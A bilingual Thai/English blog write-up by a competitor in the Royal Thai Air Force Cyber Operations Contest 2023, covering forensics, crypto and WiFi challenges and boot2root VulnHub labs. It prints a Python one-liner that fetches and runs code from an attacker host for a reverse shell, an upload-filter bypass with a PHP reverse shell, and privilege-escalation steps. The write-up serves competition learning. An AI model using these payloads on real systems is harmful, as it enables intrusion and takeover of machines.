CARTRIDGE · CYBER COMPETITION
Cyber Competition 5661 words · 28 minutes views

RTAF Cyber Operations Contest 2023

2023-04-26

Cyber Operations Contest 2023 (COC2023) เป็นการแข่งขันด้านไซเบอร์ของกองทัพอากาศ จัดโดยโรงเรียนนายเรืออากาศนวมินทกษัตริยาธิราช เพื่อเฟ้นหาและพัฒนากำลังพลด้านปฏิบัติการไซเบอร์ครับ โพสต์นี้ผมจะสรุปบรรยากาศการแข่งขัน รูปแบบโจทย์ และ write-up รอบชิงชนะเลิศพร้อมภาพประกอบให้อ่านกันครับ

Cyber Operations Contest 2023 (COC2023) is the Royal Thai Air Force cyber competition, hosted by the Navaminda Kasatriyadhiraj Royal Air Force Academy to scout and grow cyber-operations talent. This post sums up the contest, the challenge format, and a write-up of the final round with screenshots.

Result#

ผมลงแข่งในนาม Ar3mus ทีม FlaG KeepeR ของโรงเรียนนายเรืออากาศฯ ผลรอบชิงชนะเลิศออกมาดีเกินคาดครับ

  • อันดับ 1 ประเภทบุคคล (Individual) · Ar3mus
  • อันดับ 1 ประเภททีม (Team) · FlaG KeepeR

เป็นหนึ่งในผลงานที่ผมภูมิใจที่สุด เพราะ COC เป็นเวทีที่รวมคนสายไซเบอร์ของกองทัพอากาศไว้เยอะมากครับ

I competed as Ar3mus on team FlaG KeepeR from the Air Force Academy. The final round went better than I expected.

  • 1st place · Individual, Ar3mus
  • 1st place · Team, FlaG KeepeR

This is one of the results I’m proudest of. COC pulls in a lot of the Air Force’s cyber people, so the field was strong.

RTAF Cyber Operations Contest 2023 · scoreboard · Ar3mus 1st individual

RTAF Cyber Operations Contest 2023 · screenshot 3

RTAF Cyber Operations Contest 2023 · screenshot 4

Format#

การแข่งขันแบ่งเป็น รอบคัดเลือก และ รอบชิงชนะเลิศ ครับ

รอบคัดเลือกเป็นโจทย์แบบ Jeopardy แยกตามหมวด เช่น Cryptography, Digital Forensics และ Network Security ส่วนรอบชิงชนะเลิศจะยกระดับขึ้นมาเป็นการจำลองสถานการณ์จริง โดยแบ่งทักษะออกเป็นสองฝั่ง

  • Red Team · OS Exploit, Web Exploit, Offensive, Cyber Threat Intelligence
  • Blue Team · Network Layer Security, Cryptography / Programming, Defensive, Threat Hunting (Digital Forensics and Incident Response)

The contest ran as a qualifying round plus a final round.

The qualifier was Jeopardy-style, split by category such as Cryptography, Digital Forensics, and Network Security. The final round stepped it up into a simulated environment, with the skill set split across two sides.

  • Red Team · OS Exploit, Web Exploit, Offensive, Cyber Threat Intelligence
  • Blue Team · Network Layer Security, Cryptography / Programming, Defensive, Threat Hunting (Digital Forensics and Incident Response)

Final round · the network#

รอบชิงสร้างเครือข่ายจำลองขององค์กรขึ้นมาทั้งระบบครับ มีโซน Fake Internet, DMZ ที่วาง SIEM อย่าง Wazuh ไว้, โซน Workstation และ Internal คั่นด้วย pfSense Firewall หลายตัวและแบ่ง VLAN ชัดเจน ผู้เข้าแข่งต้องไล่เก็บ flag จากทั้งการบุก (Red) และการสืบสวนหลังเหตุการณ์ (Blue) รูปแบบ flag คือ coc2023{...}

The final built a full simulated enterprise network: a Fake Internet zone, a DMZ running the Wazuh SIEM, plus Workstation and Internal zones separated by several pfSense firewalls and split into distinct VLANs. Competitors collected flags from both the offensive side (Red) and post-incident investigation (Blue). Flag format: coc2023{...}.

RTAF Cyber Operations Contest 2023 · final round network diagram

Final round · write-up#

รอบชิงมีโจทย์หลากหลายมากครับ ตั้งแต่ memory forensics, network forensics, crypto, steganography ไปจนถึง WiFi cracking ผมขอไล่สรุปแนวทางของโจทย์เด่น ๆ พร้อมภาพประกอบทีละข้อ

The final had a wide spread of challenges, from memory forensics, network forensics, crypto, and steganography through to WiFi cracking. Here is a walk-through of the notable ones, challenge by challenge, with screenshots.

RTAF Cyber Operations Contest 2023 · final round challenge set

Firewall#

ข้อแรกของรอบชิงครับ โจทย์ให้เข้าหน้าจัดการ pfSense จากการสแกนช่องโหว่จะเห็นว่าระบบยังใช้ default credential admin / pfsense ที่ไม่เคยถูกเปลี่ยน เข้าระบบได้ทันทีแล้วเก็บ flag เป็นช่องโหว่คลาสสิกของระบบที่ปล่อยรหัสเริ่มต้นไว้

The first challenge of the final. Reach the pfSense management panel. A vulnerability scan shows the system is still on the default credential admin / pfsense, never changed. Log straight in and grab the flag, the classic flaw of a system left on its shipped password.

RTAF Cyber Operations Contest 2023 · Firewall · 1

catCall#

โจทย์ memory forensics ครับ ให้ RAM dump (.vmem) มา ใช้ Volatility ดึง command history ออกมาจากหน่วยความจำ เจอรหัสที่ผู้ใช้พิมพ์ไว้ใน console นำไปปลดไฟล์ RAR ต่อ จากนั้นอ่าน flag จาก metadata ช่อง Comments ของไฟล์ Word

A memory forensics challenge with a RAM dump (.vmem). Use Volatility to pull the command history out of memory, find the password the user typed into the console, use it to open the RAR archive, then read the flag from the Comments metadata of a Word file.

RTAF Cyber Operations Contest 2023 · catCall · 1

RTAF Cyber Operations Contest 2023 · catCall · 2

RTAF Cyber Operations Contest 2023 · catCall · 3

RTAF Cyber Operations Contest 2023 · catCall · 4

RTAF Cyber Operations Contest 2023 · catCall · 5

RTAF Cyber Operations Contest 2023 · catCall · 6

john wick#

โจทย์สาย network ผสม crypto ที่ยาวที่สุดข้อหนึ่งครับ ไล่ pcap ใน Wireshark ตาม HTTP stream เจอ PGP message และ private key นำมา decrypt เพื่อให้ได้รหัส mr.wick ปลด archive ที่ซ้อนกันหลายชั้น สุดท้ายแกะ flag จาก document.xml ในไฟล์ flag.zip

One of the longest challenges, mixing network and crypto. Walk the pcap in Wireshark following the HTTP stream, find a PGP message and a private key, decrypt to recover the password mr.wick, unpack the nested archives, and finally read the flag out of document.xml inside flag.zip.

RTAF Cyber Operations Contest 2023 · john wick · 1

RTAF Cyber Operations Contest 2023 · john wick · 2

RTAF Cyber Operations Contest 2023 · john wick · 3

RTAF Cyber Operations Contest 2023 · john wick · 4

RTAF Cyber Operations Contest 2023 · john wick · 5

RTAF Cyber Operations Contest 2023 · john wick · 6

RTAF Cyber Operations Contest 2023 · john wick · 7

RTAF Cyber Operations Contest 2023 · john wick · 8

RTAF Cyber Operations Contest 2023 · john wick · 9

RTAF Cyber Operations Contest 2023 · john wick · 10

RTAF Cyber Operations Contest 2023 · john wick · 11

Network Forensic#

เปิด pcap ใน Wireshark แล้วใช้ Export Objects กับ Follow HTTP Stream เจอข้อมูลที่ถูก encode เป็น Base64 นำไป Render เป็นภาพใน CyberChef จากนั้นใช้ exiftool ดึง flag ออกจาก metadata ของภาพ

Open the pcap in Wireshark, then use Export Objects and Follow HTTP Stream. Find data encoded as Base64, render it back into an image in CyberChef, then use exiftool to pull the flag out of the image metadata.

RTAF Cyber Operations Contest 2023 · Network Forensic · 1

RTAF Cyber Operations Contest 2023 · Network Forensic · 2

RTAF Cyber Operations Contest 2023 · Network Forensic · 3

Anay#

โจทย์ steganography ครับ ใช้ foremost carve ไฟล์ที่ฝังอยู่ในภาพออกมา เจอสคริปต์ RSA พร้อมค่า public/private key นำมา decrypt เพื่อให้ได้ flag

A steganography challenge. Use foremost to carve the file embedded inside an image, recover an RSA script along with its public/private key values, and decrypt to get the flag.

RTAF Cyber Operations Contest 2023 · Anay · 1

RTAF Cyber Operations Contest 2023 · Anay · 2

video Forensic#

โจทย์ให้ไฟล์วิดีโอมาครับ ใช้ exiftool ดูข้อมูลไฟล์ และ foremost carve ไฟล์ภาพที่ซ่อนอยู่ในวิดีโอ จากนั้น crack รหัส zip ด้วย zip2john ต่อด้วย John the Ripper

A video file is given. Use exiftool to inspect it and foremost to carve an image hidden inside the video, then crack a zip password with zip2john followed by John the Ripper.

RTAF Cyber Operations Contest 2023 · video Forensic · 1

RTAF Cyber Operations Contest 2023 · video Forensic · 2

RTAF Cyber Operations Contest 2023 · video Forensic · 3

RTAF Cyber Operations Contest 2023 · video Forensic · 4

Malware Analyst#

วิเคราะห์ memory image ด้วย Volatility สั่ง imageinfo เพื่อหาโปรไฟล์ของระบบ แล้วหา MD5 hash ของไฟล์มัลแวร์เพื่อนำไประบุชื่อสายพันธุ์

Analyse a memory image with Volatility, run imageinfo to find the system profile, then obtain the MD5 hash of the malware file to identify its family.

RTAF Cyber Operations Contest 2023 · Malware Analyst · 1

RTAF Cyber Operations Contest 2023 · Malware Analyst · 2

RTAF Cyber Operations Contest 2023 · Malware Analyst · 3

Macro & Steganography#

แกะ macro ที่ฝังในไฟล์เอกสาร และถอดรหัสแทนที่อักษร (substitution cipher) ที่จับคู่ตัวอักษรภาษาไทยกับภาษาอังกฤษ ตามตารางอ้างอิงที่ให้มาในโจทย์

Extract the macro embedded in a document, and solve a substitution cipher that pairs Thai characters with English letters, using the reference table provided in the challenge.

RTAF Cyber Operations Contest 2023 · Macro & Steganography · 1

RTAF Cyber Operations Contest 2023 · Macro & Steganography · 2

Bitcoin CTF#

ไล่ pcap ใน Wireshark, ใช้ binwalk แกะไฟล์ที่ซ้อนอยู่ในภาพ เจอสคริปต์ RSA นำค่ามา decrypt จนได้ flag ที่ซ่อนอยู่ในภาพบัตรเครดิต

Walk a pcap in Wireshark, use binwalk to carve files nested inside an image, find an RSA script, decrypt the values, and recover the flag hidden inside a credit-card image.

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 1

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 2

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 3

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 4

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 5

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 6

RTAF Cyber Operations Contest 2023 · Bitcoin CTF · 7

WiFi#

ฝั่งเครือข่ายไร้สายครับ crack WPA handshake จากไฟล์ .cap ด้วย aircrack-ng ใช้ทั้ง rockyou.txt และ wordlist ที่สร้างเองด้วย crunch สำหรับรหัสที่เป็นรูปแบบเบอร์โทรศัพท์

The wireless side. Crack the WPA handshake from a .cap file with aircrack-ng, using both rockyou.txt and a custom wordlist built with crunch for phone-number-style passwords.

RTAF Cyber Operations Contest 2023 · WiFi · 5

RTAF Cyber Operations Contest 2023 · WiFi · 6

RTAF Cyber Operations Contest 2023 · WiFi · 7

RTAF Cyber Operations Contest 2023 · WiFi · 8

RTAF Cyber Operations Contest 2023 · WiFi · 9

Wazuh · Blue Team#

ฝั่ง Blue Team ใช้ Wazuh SIEM ที่วางอยู่ใน DMZ ไล่ดู alert และ log เพื่อสืบสวนว่าผู้โจมตีทำอะไรกับระบบไปบ้าง

On the Blue Team side, use the Wazuh SIEM sitting in the DMZ to triage alerts and logs and reconstruct what the attacker did to the system.

เครื่องมือหลักที่ใช้ตลอดรอบนี้คือ Volatility, Autopsy, Wireshark, foremost, binwalk, exiftool, John the Ripper, aircrack-ng, CyberChef และสคริปต์ Python สำหรับงาน crypto ครับ

The main tools across the round were Volatility, Autopsy, Wireshark, foremost, binwalk, exiftool, John the Ripper, aircrack-ng, CyberChef, and Python scripts for the crypto challenges.

Qualifying round · OS-Exploit#

นอกจากรอบชิงแล้ว ขอเก็บ write-up รอบคัดเลือกหมวด OS-Exploit ไว้ในโพสต์นี้ด้วยครับ โจทย์หมวดนี้เป็นแบบ boot2root ผู้จัดหยิบ LAB จาก VulnHub มาออก แจกไฟล์ .ova ให้ import เข้าเครื่องเสมือน ตั้งการ์ดเครือข่ายเป็น NAT แล้วไล่เจาะจากภายนอกจนได้สิทธิ์ root ด้านล่างคือสามแล็บที่ผมทำในรอบนี้ครับ

Alongside the final round, here are my OS-Exploit write-ups from the qualifier. The category was boot2root style: the organisers reused VulnHub labs and handed out an .ova to import into a VM, set the adapter to NAT, then you work in from the outside until you reach root. Below are the three labs I cleared.

COC2023_3 · Typhoon#

แล็บนี้คือ Typhoon: 1.02 จาก VulnHub ครับ หลัง import COC2023_3.ova ผมใช้ arp-scan หาเครื่องเป้าหมายได้ IP 192.168.147.155 แล้วสแกนพอร์ตด้วย nmap -sV -sC เห็นว่ามี service HTTP อยู่ที่พอร์ต 8080 และมี /robots.txt ที่ชี้ไปยัง /upload.php กับ /uploads ให้ตามต่อ

The lab is Typhoon: 1.02 from VulnHub. After importing COC2023_3.ova, arp-scan finds the target at 192.168.147.155. A nmap -sV -sC scan shows an HTTP service on port 8080, and its /robots.txt points at /upload.php and /uploads worth following.

COC2023_3 · OS-Exploit · 1

COC2023_3 · OS-Exploit · 2

COC2023_3 · OS-Exploit · 3

COC2023_3 · OS-Exploit · 4

COC2023_3 · OS-Exploit · 5

COC2023_3 · OS-Exploit · 6

COC2023_3 · OS-Exploit · 7

COC2023_3 · OS-Exploit · 8

COC2023_3 · OS-Exploit · 9

COC2023_3 · OS-Exploit · 10

COC2023_3 · OS-Exploit · 11

COC2023_3 · OS-Exploit · 12

หน้า upload.php มีฟังก์ชันตรวจว่าไฟล์ที่อัปเป็นรูปจริงไหม ไฟล์ต้องเป็นชนิด GIF และระบบจะเปลี่ยนชื่อไฟล์ที่อัปเป็น md5(<ชื่อไฟล์><เลขสุ่ม 1-100>).<นามสกุล> ผมเลยเขียนสคริปต์สร้างค่า md5 ของทุกเลขที่เป็นไปได้ไว้เป็น wordlist แล้วใช้ dirb ไล่หาไฟล์ shell ที่อัปขึ้นไป

The upload.php page checks that the upload is a real image: the file must be a GIF, and the server renames the upload to md5(<filename><random 1-100>).<extension>. So I wrote a script to precompute the md5 of every possible value into a wordlist, then used dirb to find the uploaded shell.

#!/usr/bin/python
import hashlib

for i in range(100):
    name = "shell.php" + str(i)
    digest = hashlib.md5(name.encode()).hexdigest()
    with open("dict.txt", "a+") as f:
        f.write(digest + ".php\r\n")

ฝั่งไฟล์ shell ผมเตรียม php-reverse-shell โดยใส่ magic bytes GIF98 ไว้ที่หัวไฟล์ เพื่อให้ผ่านการตรวจชนิดไฟล์ พออัปสำเร็จและ dirb เจอ path ก็เรียก shell กลับมาได้

For the payload I prepared a php-reverse-shell with the GIF98 magic bytes prepended to the header so it passes the image-type check. Once it uploads and dirb finds the path, calling it gives a shell back.

COC2023_3 · OS-Exploit · 13

COC2023_3 · OS-Exploit · 14

COC2023_3 · OS-Exploit · 15

COC2023_3 · OS-Exploit · 16

COC2023_3 · OS-Exploit · 17

COC2023_3 · OS-Exploit · 18

COC2023_3 · OS-Exploit · 19

COC2023_3 · OS-Exploit · 20

COC2023_3 · OS-Exploit · 21

COC2023_3 · OS-Exploit · 22

COC2023_3 · OS-Exploit · 23

COC2023_3 · OS-Exploit · 24

COC2023_3 · OS-Exploit · 25

COC2023_3 · OS-Exploit · 26

COC2023_3 · OS-Exploit · 27

COC2023_3 · OS-Exploit · 28

COC2023_3 · OS-Exploit · 29

COC2023_3 · OS-Exploit · 30

COC2023_3 · OS-Exploit · 31

พอเข้าระบบได้ ก็เจอ hash ของรหัสผ่าน ดูแล้วเป็น sha512crypt ตรงกับ hashcat mode 1800 crack ออกมาได้รหัส root คือ root : floricienta

With a foothold, I found a password hash. It is sha512crypt, which is hashcat mode 1800. Cracking it yields the root password: root : floricienta.

COC2023_3 · OS-Exploit · 32

COC2023_3 · OS-Exploit · 33

COC2023_3 · OS-Exploit · 34

COC2023_3 · OS-Exploit · 35

COC2023_3 · OS-Exploit · 36

COC2023_3 · OS-Exploit · 37

ติดตรงที่ SSH เข้าตรง ๆ ไม่ได้ และเครื่องนี้ไม่มี service MySQL ระหว่างไล่ดูระบบ ผมเจอ username กับ password ของฐานข้อมูล และเจอ hint ใน /root ที่บอกใบ้ว่าต้องทำ reverse shell ไปยัง host ที่รัน MySQL บนพอร์ต 3306

The catch: SSH does not work directly, and this host has no MySQL service. While enumerating I found a database username and password, plus a hint in /root suggesting a reverse shell toward a host running MySQL on port 3306.

COC2023_3 · OS-Exploit · 38

COC2023_3 · OS-Exploit · 39

COC2023_3 · OS-Exploit · 40

COC2023_3 · OS-Exploit · 41

COC2023_3 · OS-Exploit · 42

COC2023_3 · OS-Exploit · 43

COC2023_3 · OS-Exploit · 44

COC2023_3 · OS-Exploit · 45

COC2023_3 · OS-Exploit · 46

COC2023_3 · OS-Exploit · 47

ผมรันคำสั่ง python หนึ่งบรรทัดบนเครื่องเป้าหมายเพื่อดึง reverse shell กลับมา

I ran a one-line python command on the target to pull a reverse shell back.

python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.147.145:8080/bEHH3lP', context=ssl._create_unverified_context());exec(r.read());"

ได้ reverse shell แล้วก็ใช้โมดูล autoroute ใน Metasploit เพื่อ pivot เข้าเครือข่ายภายใน ต่อด้วยโมดูล ping_sweep ไล่หาเครื่องทั้งหมดในเครือข่ายใหม่ แล้วใช้โมดูลสแกนพอร์ตหา service ที่เปิดอยู่

With the reverse shell, I used Metasploit’s autoroute module to pivot into the internal network, then ping_sweep to enumerate every host on the new subnet, and the port-scan module to find the open services.

COC2023_3 · OS-Exploit · 48

COC2023_3 · OS-Exploit · 49

COC2023_3 · OS-Exploit · 50

COC2023_3 · OS-Exploit · 51

COC2023_3 · OS-Exploit · 52

COC2023_3 · OS-Exploit · 53

COC2023_3 · OS-Exploit · 54

COC2023_3 · OS-Exploit · 55

COC2023_3 · OS-Exploit · 56

COC2023_3 · OS-Exploit · 57

COC2023_3 · OS-Exploit · 58

COC2023_3 · OS-Exploit · 59

COC2023_3 · OS-Exploit · 60

COC2023_3 · OS-Exploit · 61

ในเครือข่ายภายในมีเครื่องที่เปิดพอร์ต 3306 (MySQL) และเรามี username กับ password ของฐานข้อมูล WordPress อยู่แล้ว เลย login MySQL บนเป้าหมาย 172.18.0.3 ด้วย wordpress:wordpress ไล่ดูข้อมูลจนเจอบัญชี hummingbirdscyber : 123456 และสังเกตว่ามี uid 129 (docker) ใช้สิทธิ์กลุ่ม docker ยกระดับเป็น root แล้วเก็บ flag ได้สำเร็จ

On the internal network a host had port 3306 (MySQL) open, and we already held the WordPress database credentials, so I logged into MySQL on 172.18.0.3 with wordpress:wordpress. Browsing the data turned up the account hummingbirdscyber : 123456, and I noticed uid 129 (docker). Abusing the docker group escalates to root, and the flag is captured.

COC2023_3 · OS-Exploit · 62

COC2023_3 · OS-Exploit · 63

COC2023_3 · OS-Exploit · 64

COC2023_3 · OS-Exploit · 65

COC2023_3 · OS-Exploit · 66

COC2023_3 · OS-Exploit · 67

COC2023_3 · OS-Exploit · 68

COC2023_3 · OS-Exploit · 69

COC2023_3 · OS-Exploit · 70

COC2023_3 · OS-Exploit · 71

COC2023_3 · OS-Exploit · 72

COC2023_3 · OS-Exploit · 73

COC2023_3 · OS-Exploit · 74

COC2023_3 · OS-Exploit · 75

COC2023_3 · OS-Exploit · 76

COC2023_3 · OS-Exploit · 77

COC2023_4 · HackInOS#

แล็บนี้คือ HackInOS: 1 จาก VulnHub ครับ เป็นแล็บที่มี write-up บนอินเทอร์เน็ตเยอะมาก ผมเลยขอไล่หลายวิธี ตั้งแต่วิธีที่ผมหาเจอเอง ไปจนถึงวิธีที่อ้างอิงจาก write-up ของคนอื่น เริ่มเหมือนเดิมคือ import COC2023_4.ova, ตั้ง NAT, arp-scan ได้เป้าหมาย 192.168.147.155 แล้วสแกนด้วย nmap

This lab is HackInOS: 1 from VulnHub, which has a lot of public write-ups, so I walked several routes, from the one I found myself to ones based on other people’s write-ups. Same start: import COC2023_4.ova, set NAT, arp-scan finds the target at 192.168.147.155, then scan with nmap.

วิธีที่หนึ่ง · MongoDB · nmap เห็นว่ามีการใช้ MongoDB ซึ่ง default port คือ 27017 ผมติดตั้ง mongo client แล้วเชื่อมต่อด้วย mongo 192.168.147.155:27017 ไล่ดูข้อมูลในฐานข้อมูลจนเจอบัญชี typhoon : 789456123 ระบบเปิดพอร์ต 22 อยู่ เลย SSH เข้าด้วยบัญชีนี้แล้วเก็บ flag จากนั้นยกระดับสิทธิ์ด้วยช่องโหว่ overlayfs ของ Linux Kernel 3.13.0 ถึงต่ำกว่า 3.19 โดยเปิด webserver ให้เป้าหมายดาวน์โหลด payload ไปไว้ที่ /tmp แล้ว compile รันเป็น root

Method 1 · MongoDB · nmap shows MongoDB in use, whose default port is 27017. I installed a mongo client and connected with mongo 192.168.147.155:27017, browsed the database, and found the account typhoon : 789456123. Port 22 was open, so I SSH’d in with it and grabbed the flag. For privilege escalation I used the overlayfs flaw in Linux Kernel 3.13.0 to below 3.19: host a webserver, have the target download the payload into /tmp, then compile and run it as root.

# install a MongoDB client on the attacker box
wget -qO - https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -
sudo apt-get install gnupg
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.2 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.2.list
sudo apt-get update && sudo apt-get install -y mongodb-org
sudo systemctl start mongod

COC2023_4 · OS-Exploit · 1

COC2023_4 · OS-Exploit · 2

COC2023_4 · OS-Exploit · 3

COC2023_4 · OS-Exploit · 4

COC2023_4 · OS-Exploit · 5

COC2023_4 · OS-Exploit · 6

COC2023_4 · OS-Exploit · 7

COC2023_4 · OS-Exploit · 8

COC2023_4 · OS-Exploit · 9

COC2023_4 · OS-Exploit · 10

COC2023_4 · OS-Exploit · 11

COC2023_4 · OS-Exploit · 12

COC2023_4 · OS-Exploit · 13

COC2023_4 · OS-Exploit · 14

COC2023_4 · OS-Exploit · 15

COC2023_4 · OS-Exploit · 16

COC2023_4 · OS-Exploit · 17

COC2023_4 · OS-Exploit · 18

COC2023_4 · OS-Exploit · 19

COC2023_4 · OS-Exploit · 20

COC2023_4 · OS-Exploit · 21

COC2023_4 · OS-Exploit · 22

COC2023_4 · OS-Exploit · 23

COC2023_4 · OS-Exploit · 24

COC2023_4 · OS-Exploit · 25

COC2023_4 · OS-Exploit · 26

COC2023_4 · OS-Exploit · 27

COC2023_4 · OS-Exploit · 28

COC2023_4 · OS-Exploit · 29

COC2023_4 · OS-Exploit · 30

วิธีที่สอง · Tomcat · อีกทางคือผ่านหน้า Tomcat Manager ลองรหัส tomcat : s3cret ไม่ผ่าน แต่ default credential tomcat : tomcat เข้าได้ จากนั้น deploy ไฟล์ WAR เพื่อเอา shell

Method 2 · Tomcat · Another way is through the Tomcat Manager. tomcat : s3cret failed, but the default credential tomcat : tomcat worked, after which deploying a WAR file gives a shell.

COC2023_4 · OS-Exploit · 31

COC2023_4 · OS-Exploit · 32

COC2023_4 · OS-Exploit · 33

COC2023_4 · OS-Exploit · 34

COC2023_4 · OS-Exploit · 35

COC2023_4 · OS-Exploit · 36

COC2023_4 · OS-Exploit · 37

COC2023_4 · OS-Exploit · 38

COC2023_4 · OS-Exploit · 39

COC2023_4 · OS-Exploit · 40

COC2023_4 · OS-Exploit · 41

COC2023_4 · OS-Exploit · 42

COC2023_4 · OS-Exploit · 43

COC2023_4 · OS-Exploit · 44

วิธีที่สาม · Drupal · อีกเส้นทางหนึ่งคือเจาะผ่านเว็บ Drupal ที่รันอยู่บนเครื่อง

Method 3 · Drupal · Another path is exploiting the Drupal site running on the host.

COC2023_4 · OS-Exploit · 45

COC2023_4 · OS-Exploit · 46

COC2023_4 · OS-Exploit · 47

COC2023_4 · OS-Exploit · 48

COC2023_4 · OS-Exploit · 49

COC2023_4 · OS-Exploit · 50

COC2023_4 · OS-Exploit · 51

COC2023_4 · OS-Exploit · 52

COC2023_4 · OS-Exploit · 53

COC2023_4 · OS-Exploit · 54

COC2023_4 · OS-Exploit · 55

COC2023_4 · OS-Exploit · 56

COC2023_4 · OS-Exploit · 57

วิธีที่สี่ · LotusCMS · อีกทางคือเจาะผ่านช่องโหว่ของ LotusCMS

Method 4 · LotusCMS · Another route is through a LotusCMS vulnerability.

COC2023_4 · OS-Exploit · 58

COC2023_4 · OS-Exploit · 59

COC2023_4 · OS-Exploit · 60

COC2023_4 · OS-Exploit · 61

COC2023_4 · OS-Exploit · 62

COC2023_4 · OS-Exploit · 63

COC2023_4 · OS-Exploit · 64

COC2023_4 · OS-Exploit · 65

COC2023_4 · OS-Exploit · 66

วิธีที่ห้า · Reset password · เนื่องจากเราได้ไฟล์แล็บมาเอง จึงควบคุมเครื่องได้โดยตรง วิธีนี้บูตเข้าเมนู GRUB เลือกรายการ Ubuntu กด e เพื่อแก้บรรทัด boot ให้ได้ shell ของ root แล้วกด Ctrl+X เพื่อบูตต่อ ใช้รีเซ็ตรหัสผ่านได้เลย

Method 5 · Reset password · Since we have the lab file itself, we control the machine directly. This route boots into the GRUB menu, selects the Ubuntu entry, presses e to edit the boot line into a root shell, then Ctrl+X to continue booting, which lets you reset the password outright.

COC2023_4 · OS-Exploit · 67

COC2023_4 · OS-Exploit · 68

COC2023_4 · OS-Exploit · 69

COC2023_4 · OS-Exploit · 70

COC2023_4 · OS-Exploit · 71

COC2023_1#

แล็บสุดท้ายของหมวด OS-Exploit ในรอบคัดเลือกครับ ด้านล่างเป็นภาพขั้นตอนการทำโจทย์

The last OS-Exploit lab of the qualifier. Below are the screenshots from solving it.

COC2023_1 · OS-Exploit · 1

COC2023_1 · OS-Exploit · 2

COC2023_1 · OS-Exploit · 3

COC2023_1 · OS-Exploit · 4

COC2023_1 · OS-Exploit · 5

Qualifying round · Crypto#

หมวด Crypto ของรอบคัดเลือกเป็นโจทย์ถอดรหัสและแกะ hash ครับ ผมไล่ทำสี่ข้อตามภาพด้านล่าง

The Crypto category of the qualifier was about decoding and cracking hashes. I solved four challenges, walked through in the screenshots below.

Crypto · 1#

ได้ hash $6$ ซึ่งเป็น sha512crypt มา crack ออกมาได้รหัส spaceman

A $6$ hash, which is sha512crypt. Cracking it recovers the password spaceman.

Crypto · 1

Crypto · 2

Crypto · 3

Crypto · 4

Crypto · 5

Crypto · 6

Crypto · 7

Flag · coc2023{spaceman}

Crypto · 2#

โจทย์ให้ข้อมูลที่กู้มาจากเครื่องเป้าหมายก่อนเครื่องจะพัง บอกให้ crack hash จาก /etc/shadow เพื่อกู้รหัสผ่าน

The prompt gives data recovered from a target machine before it crashed, asking you to crack a hash from /etc/shadow to salvage a password.

Crypto · 8

Crypto · 9

Crypto · 10

Crypto · 11

Crypto · 12

Crypto · 13

Flag · coc2023{homeandaway}

Crypto · 3#

ข้อนี้ใช้ ssh2john แปลง SSH private key เป็น hash แล้ว crack passphrase ด้วย John the Ripper

This one uses ssh2john to turn an SSH private key into a hash, then cracks the passphrase with John the Ripper.

Crypto · 14

Crypto · 15

Crypto · 16

Crypto · 17

Crypto · 18

Flag · coc2023{iloveyou}

Crypto · 4#

ข้อสุดท้ายของหมวด Crypto ขั้นตอนการแก้อยู่ในภาพด้านล่าง

The last Crypto challenge. The steps are in the screenshots below.

Crypto · 19

Crypto · 20

Crypto · 21

Crypto · 22

Crypto · 23

Flag · coc2023{Th1s_1s_wh173_r@bb17}

Qualifying round · Forensic#

หมวด Forensic เป็นโจทย์แกะร่องรอยและหาข้อมูลที่ซ่อนอยู่ในไฟล์ครับ

The Forensic category was about tracing artifacts and recovering data hidden inside files.

Forensic · 1#

โจทย์ให้ชุดคำสั่ง echo ที่เขียน flag ลงไฟล์ทีละส่วน ผมใช้ CyberChef เขียน recipe ตัดส่วนเกินออกแล้วประกอบ flag กลับมา

The challenge gives a set of echo commands that write the flag to a file piece by piece. I used a CyberChef recipe to strip the noise and reassemble the flag.

Forensic · 1

Forensic · 2

Forensic · 3

Forensic · 4

Forensic · 5

Flag · coc2023{_Zmx5aW5nX2RyYWdvbg_}

Forensic · 2#

ข้อนี้ต้องปลดล็อกไฟล์ด้วยรหัส 9482092 ซึ่งเป็นรูปแบบเบอร์โทรศัพท์สมัยก่อน (02 9482092)

This one needs the file unlocked with the password 9482092, an old-style landline phone number (02 9482092).

Forensic · 6

Forensic · 7

Forensic · 8

Forensic · 9

Forensic · 10

Forensic · 11

Forensic · 12

Forensic · 13

Forensic · 14

Forensic · 15

Forensic · 16

Forensic · 17

Forensic · 18

Forensic · 19

Forensic · 20

Flag · coc2023{_TG92ZV9jYW5fYmVfdG9sZF9ieV90aGVfZXllcw_}

Forensic · 3#

ข้อสุดท้ายของหมวด Forensic ขั้นตอนอยู่ในภาพด้านล่าง

The last Forensic challenge. The steps are in the screenshots below.

Forensic · 21

Forensic · 22

Flag · coc2023{X0M0bl9ZMHVfUzMzX20zX2Z1bGx5Xw}

Qualifying round · Network Security#

หมวด Network Security เป็นโจทย์ไล่ traffic และแกะข้อมูลในแพ็กเก็ตครับ

The Network Security category was about following traffic and pulling data out of packets.

Network · 1#

ข้อแรกไล่ดู traffic จนเจอ flag

The first challenge follows the traffic until the flag turns up.

Network · 1

Network · 2

Network · 3

Network · 4

Network · 5

Network · 6

Network · 7

Network · 8

Network · 9

Network · 10

Network · 11

Flag · {Y1NglO0_aY}

Network · 2#

ข้อนี้ข้อมูลถูกส่งกระจายเป็นชิ้น ๆ ผมใช้ CyberChef เขียน recipe เรียงและตัดส่วนเกินออกจนได้ flag

Here the data is sent scattered in fragments. A CyberChef recipe reorders and trims it down to the flag.

Network · 12

Network · 13

Network · 14

Network · 15

Network · 16

Network · 17

Network · 18

Network · 19

Network · 20

Network · 21

Flag · coc2023{_YWx0ZXJu_YXRpdmU=_}

Network · 3 · Network_hard#

ข้อ Network_hard เป็นโจทย์ปริศนาที่ยกระดับขึ้นมา ขั้นตอนอยู่ในภาพด้านล่าง

Network_hard is the stepped-up puzzle challenge. The steps are in the screenshots below.

Network · 22

Network · 23

Network · 24

Network · 25

Network · 26

Flag · coc2023{1_l0v3_Puzz13}

Final round · extended write-up#

